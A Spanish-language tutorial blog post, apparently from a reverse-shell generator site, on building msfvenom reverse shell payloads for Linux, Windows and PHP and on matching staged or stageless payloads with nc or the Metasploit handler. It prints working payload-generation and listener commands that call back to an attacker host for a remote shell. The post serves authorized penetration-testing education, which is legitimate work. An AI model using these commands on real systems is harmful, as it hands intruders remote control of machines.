Skip to content
reverseshell

Reverse shell con msfvenom: staged frente a stageless y la trampa del listener

Cómo generar un reverse shell con msfvenom, la diferencia entre payloads staged y stageless, y por qué tu listener nc captura uno pero no el otro.

Publicado el 2 min de lectura

msfvenom genera un payload como archivo —un ELF, un EXE o un script que entregas y ejecutas— en lugar de un one-liner que pegas. Es la herramienta adecuada cuando necesitas un binario compilado o un formato concreto, y la equivocada cuando bastaría con un one-liner. La parte que hace tropezar a todo el mundo no es la generación; es emparejar el payload con el listener correcto.

Generar el payload

El patrón es -p PAYLOAD LHOST= LPORT= -f FORMAT -o FILE:

# Linux ELF, stageless
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f elf -o shell.elf

# Windows EXE, stageless
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f exe -o shell.exe

# PHP, for a web target
msfvenom -p php/reverse_php LHOST=10.0.0.1 LPORT=443 -f raw -o shell.php

-f controla el formato de salida; msfvenom --list formats los muestra todos. Lista los payloads con msfvenom --list payloads | grep reverse.

Staged frente a stageless: la distinción clave

Esto es lo más importante que hay que entender, porque dicta tu listener.

  • Stageless (shell_reverse_tcp): toda la shell está en el payload. Conecta de vuelta y ya tienes una shell. Un simple nc -lvnp 443 la captura.
  • Staged (shell/reverse_tcp — fíjate en la barra): el payload es un stager diminuto que conecta de vuelta y descarga el resto de la shell desde tu handler. Un listener nc simple recibe la petición del stager, no tiene nada que devolverle, y la shell muere al instante.

Lee el nombre del payload con cuidado: un guion bajo (shell_reverse_tcp) es stageless; una barra (shell/reverse_tcp) es staged. Ese único carácter decide si nc funciona.

La trampa del listener

La queja número uno con msfvenom —"conecta y luego se desconecta de inmediato"— es casi siempre un payload staged llegando a un listener tonto. Los payloads staged y los de Meterpreter necesitan el handler de Metasploit, configurado con el mismísimo payload:

msfconsole -q -x "use exploit/multi/handler; \
set payload windows/x64/shell_reverse_tcp; \
set LHOST 10.0.0.1; set LPORT 443; run"

PAYLOAD, LHOST y LPORT en el handler deben coincidir exactamente con lo que pusiste en msfvenom. Si quieres capturar con nc a secas, genera un payload stageless. Es el mismo desajuste payload-listener que se trata de forma general en elegir un listener; msfvenom simplemente lo pone fácil de equivocar.

Cuándo NO usar msfvenom

Si el objetivo ya tiene bash, python o PHP, un one-liner es más rápido, fileless y deja menos en disco que un binario generado. Recurre a msfvenom cuando necesites específicamente un artefacto compilado o una sesión de Meterpreter; de lo contrario, consulta bash, python o el generador de reverse shells para un one-liner con el listener correspondiente ya adjunto.

Solo pruebas autorizadas

Genera y despliega payloads de msfvenom únicamente contra sistemas de tu propiedad o que tengas autorización explícita para probar. Es la autorización lo que hace legítimo el trabajo, no las herramientas.

Artículos relacionados

Cómo funcionan los reverse shells, por qué superan a los bind shells a través de firewalls y cómo un generador evita errores de copiar y pegar.
Los one-liners habituales de reverse shell en bash explicados línea a línea, por qué necesitan bash (no sh) y cómo recurrir a alternativas cuando falta /dev/tcp.
Cómo funciona el one-liner de reverse shell en python con socket y pty, por qué la división python/python3 rompe los payloads y una alternativa agnóstica a la versión.